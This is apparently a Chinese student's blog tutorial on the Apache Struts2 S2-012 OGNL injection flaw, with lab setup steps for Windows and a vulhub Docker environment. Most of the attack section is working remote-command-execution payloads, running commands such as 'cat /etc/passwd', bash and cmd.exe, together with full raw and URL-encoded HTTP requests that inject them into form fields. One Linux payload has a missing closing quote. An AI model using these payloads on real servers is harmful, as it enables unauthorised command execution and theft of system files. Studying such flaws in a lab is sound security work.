Struts-S2-012漏洞利用(含环境搭建、含POC)

字数 861阅读 705

S2-012

此文仅供大家交流学习,严禁非法使用

一、参考网址:

https://github.com/phith0n/vulhub
https://struts.apache.org/docs/s2-012.html

二、 影响版本:

Struts Showcase App 2.0.0 - Struts Showcase App 2.3.13

三、 漏洞介绍:

OGNL提供了广泛的表达式评估功能等功能。
包含特制请求参数的请求可用于将任意OGNL代码注入到属性中,此后将其用作重定向地址的请求参数,这将导致进一步的评估。
OGNL评估已经在S2-003和S2-005和S2-009中得到解决,但是由于它只涉及参数的名称,所以证明了基于白名单可接受的参数名称并拒绝对参数中包含的表达式进行评估的结果修复名称,仅部分关闭了漏洞。
第二个评估发生在重定向结果从栈中读取并使用先前注入的代码作为重定向参数时。
这使得恶意用户将任意的OGNL语句放置在由操作公开的任何未归类的String变量中,并将其评估为OGNL表达式,以便绕过Struts和OGNL库保护来执行方法执行并执行任意方法。

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。

四、 环境搭建:(windows)

  • 下载/struts/2.1.6

下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip

  • 下载安装xampp

  • 部署showcase

  • 解压

2.1.6_1.png

2.1.6_2.png
  • 复制到.
2.1.6_3.png
  • 重启tomcat
2.1.6_4.png
  • 已成功自动部署
2.1.6_5.png

环境搭建:(ubuntu)

  • 安装pip

curl -s https://bootstrap.pypa.io/get-pip.py | python3

  • 安装docker

apt-get update && apt-get install docker.io

  • 启动docker服务

service docker start

  • 安装compose

pip install docker-compose

注意要先ssh连接,将公钥添加到github上,具体参照网上教程

  • 拉取项目

git clone git@github.com:phith0n/vulhub.git
cd vulhub

  • 进入某一个漏洞/环境的目录

cd nginx_php5_mysql

  • 自动化编译环境

docker-compose build

  • 启动整个环境

docker-compose up -d

五、 POC:

POC(Linux)

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"/bin/bash","-c", "ls})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

两个例子,命令执行方式不同,本人菜鸟一枚,测试ipconfig和netstat总是实在,一直在怀疑POC问题,结果后来发现是docker容器的问题,测试正常的程序可正常运行。希望大家吸取教训少走弯路。

六、修改数据包

原数据包:

POST /user.action HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://192.168.137.129:8080/user.action
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)
Content-Type: application/x-www-form-urlencoded
Content-Length: 606
Host: 192.168.137.129:8080
Pragma: no-cache
Cookie: JSESSIONID=903BE0F1A8CA6E90F711BE7214D5608C
Connection: close

name=aaa

修改后为

POST /user.action HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://192.168.137.129:8080/user.action
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.3)
Content-Type: application/x-www-form-urlencoded
Content-Length: 606
Host: 192.168.137.129:8080
Pragma: no-cache
Cookie: JSESSIONID=903BE0F1A8CA6E90F711BE7214D5608C
Connection: close

name=%25%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%22%2fbin%2fbash%22%2C%22-c%22%2C%20%22ip%20addr%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D

七、执行结果

1.png

八、 Windows环境利用过程

POC(windows)

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cmd.exe", "/c", "ipconfig"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

访问网址:http://127.0.0.1:8080/struts2-showcase-2.1.6/skill/edit.action
原数据包为

POST /struts2-showcase-2.1.6/skill/save.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 643
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1:8080/struts2-showcase-2.1.6/skill/edit.action?skillName=%{
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=8B6C25A29EB2E058507066BA06ED9974
Connection: close

currentSkill.name=aaa&currentSkill.description=

修改后为

POST /struts2-showcase-2.1.6/skill/save.action HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 643
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://127.0.0.1:8080/struts2-showcase-2.1.6/skill/edit.action?skillName=%{
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=8B6C25A29EB2E058507066BA06ED9974
Connection: close

currentSkill.name=%25%7B%23a%3D%28new%20java.lang.ProcessBuilder%28new%20java.lang.String%5B%5D%7B%22cmd.exe%22%2C%20%22%2fc%22%2C%20%22ipconfig%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D&currentSkill.description=

执行结果:


2.png

九、 至此,该漏洞基本利用完毕

本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家

坚决做一名白帽子

推荐阅读更多精彩内容